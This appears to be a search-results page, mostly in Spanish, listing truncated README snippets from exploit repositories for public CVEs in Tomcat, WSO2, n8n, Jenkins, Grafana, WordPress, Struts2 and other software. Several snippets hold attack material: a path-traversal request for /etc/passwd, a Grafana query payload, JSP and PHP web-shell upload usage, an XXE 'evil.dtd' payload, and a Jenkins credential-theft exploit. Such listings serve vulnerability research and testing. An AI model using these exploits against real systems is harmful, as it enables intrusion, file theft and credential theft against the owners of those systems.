478630 matches found
ghostcat-verification
Verificación de Ghostcat CVE-2020-1938 Resumen Se ha encontrado un nuevo exploit llamado Ghostcat CVE-2020-1938; consulte los artículos en snyk y tenable para obtener detalles y análisis del exploit en sí. En mi caso, quería verificar qué servidores Tomcat son explotables y, de ser así, cómo se...
CVE-2025-32682
🐚 CVE-2025-32682 - Subida Arbitraria de Archivos en MapSVG Lite = 8.5.34 📌 Detalles del Plugin Nombre: MapSVG Lite Versión Afectada: = 8.5.34 Tipo de Vulnerabilidad: Subida Arbitraria de Archivos ID de CVE: CVE-2025-32682 Fecha de Publicación: 15 de abril de 2025 Puntuación CVSS: 9.9 Crítica 💥...
CVE-2024-36416
CVE-2024-36416 Herramienta para validar CVE-2024-36416 Uso pip3 install -r requirements.txt python3 sukuna.py --help python3 sukuna.py --url http://./ --validate --payload-test Verificación del archivo de registro del lado del servidor Verifique el archivo del lado del servidor; si el archivo de...
CVE-2022-29464
CVE-2022-29464 WSO2 RCE Uso : python3 exploit.py https://host:9443/ ArbitraryShellName.jsp...
exploit-CVE-2023-27564
Exploit para CVE-2023-27564 Esta vulnerabilidad permite la lectura anónima de archivos en n8n. import requests url = "https://example.com/rest/data/filesystem:..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd:.svg" response = requests.geturl printresponse.statuscode printresponse.headers...
CVE-2024-44871
MoziloCMS = 3.0.1 RCE autenticado Descripción Este script es una herramienta de explotación diseñada para probar aplicaciones web que ejecutan MoziloCMS. Permite a un atacante utilizar credenciales de administrador para subir una web shell PHP mediante un archivo jpg, renombrar el archivo subido ...
CVE-2022-24716
CVE-2022-24716 Exploit para la vulnerabilidad: Vulnerabilidad de divulgación de archivos arbitrarios en Icinga Web 2 2.8.6, 2.9.6, 2.10 https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/ Ayuda: python3 exploit.py -h Ejemplo de uso: python3 -u http://127.0.0.1:8080 -f...
CVE-2023-40028
Exploit CVE-2023-40028 Este script explota una vulnerabilidad en Ghost CMS, permitiendo la lectura arbitraria de archivos mediante el abuso de enlaces simbólicos. Características Crea un enlace simbólico al archivo destino Comprime el payload en un archivo ZIP Sube el archivo ZIP a través de la A...
CVE-2023-23169
CVE-2023-23169 POC de CVE-2023-23169 Inclusión de archivos locales y falsificación de solicitudes del lado del servidor Pasos para reproducir : Inclusión de archivos locales : 1. echo "" poc.docx 2. Sube el archivo en los servicios de PDFocus 3. Visualiza/Descarga el archivo después para activar ...
CVE-2017-11882
CVE-2017-11882 43b script original de https://github.com/embedi/CVE-2017-11882 109b script original de https://github.com/unamer/CVE-2017-11882/ ¡un aplauso, ahora el código de unamer ya puede ejecutar shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/...
CVE-2017-5638-ApacheStruts2.3.5
CVE-2017-5638-ApacheStruts2.3.5 Un exploit para CVE-2017-5638. Este exploit funciona en las versiones 2.3.5-2.3.31 y 2.5 – 2.5.10 Requisitos optparse, requests Uso Este exploit se puede usar así: $ python3 CVE-2017-5638ApacheStruts.py -u http://10.129.187.188:8080/Monitoring/example/Welcome.actio...
CVE-2024-24137
CVE-2024-24137: Inyección SQL en Student File Managment System Prueba de ConceptoPoC : https://github.com/BurakSevben/CVEs/blob/main/CVE-2024-24137.md Prueba de ConceptoPoC : https://github.com/BurakSevben/CVE-2024-24137/blob/main/CVE-2024-24137.md...
CVE-2024-44623
CVE-2024-44623 En SPX-GC 1.3.0v y versiones anteriores, la entrada controlada por el usuario se pasaba a la función exec del módulo childprocess sin ningún saneamiento, lo que conducía a una ejecución remota de código ciega no autenticada. Vulnerabilidad En /routes/routes-api.js, la entrada del...
CVE-2012-2982
CVE-2012-2982 también conocido como /file/show.cgi Ejecución Remota de Comandos Un simple poc de CVE-2012-2982...
CVE-2024-43044-jenkins-creds
Intro This is an exploit for CVE-2024-43044, an arbitrary file read that allows an agent to fetch files from the controller. The exploit will use the vulnerability to read credentials.xml file and get secret keys to decrypt it. Initial code : https://github.com/convisolabs/CVE-2024-43044-jenkins...
CVE-2024-50848
CVE-2024-50848: XXE en WorldServer v11.8.2 Una vulnerabilidad de tipo XML External Entity XXE en las funcionalidades de importación de objetos y de memoria de traducción de WorldServer v11.8.2 podría llevar a acceder a información sensible del sistema y ejecutar comandos arbitrarios mediante el...
Grafana-CVE-2024-9264
Grafana-CVE-2024-9264 POST /api/ds/query?dstype=expr&expression=true&requestId=Q100 HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Cookie: grafanasession=a739fa9aeb235f2790f17de00fefe528 Content-Length: 368 "from": "1696154400000", "to": "1696345200000", "queries": "datasource":...
CVE-2021-29447
CVE-2021-29447 WordPress 5.6-5.7 - XXE autenticado Autor+ https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ uso: -l LHOST ejemplo: 127.0.0.1 -n NAME ejemplo: payload.wav -dn DTDNAME ejemplo: evil.dtd -r READ ejemplo: ../wp-config.php evil-wav-dtd-xxe.py: error: se requieren lo...
CVE-2022-31901
CVE-2022-31901 Denegación de Servicio DOS en Notepad++x86 en 8.4.3 y anteriores. Descripción Desencadenamiento de la vulnerabilidad, al abrir dos archivos de texto especialmente manipulados por ejemplo, first.txt y second.txt como entrada a notepad++. Como ejemplo ilustrativo a continuación, a...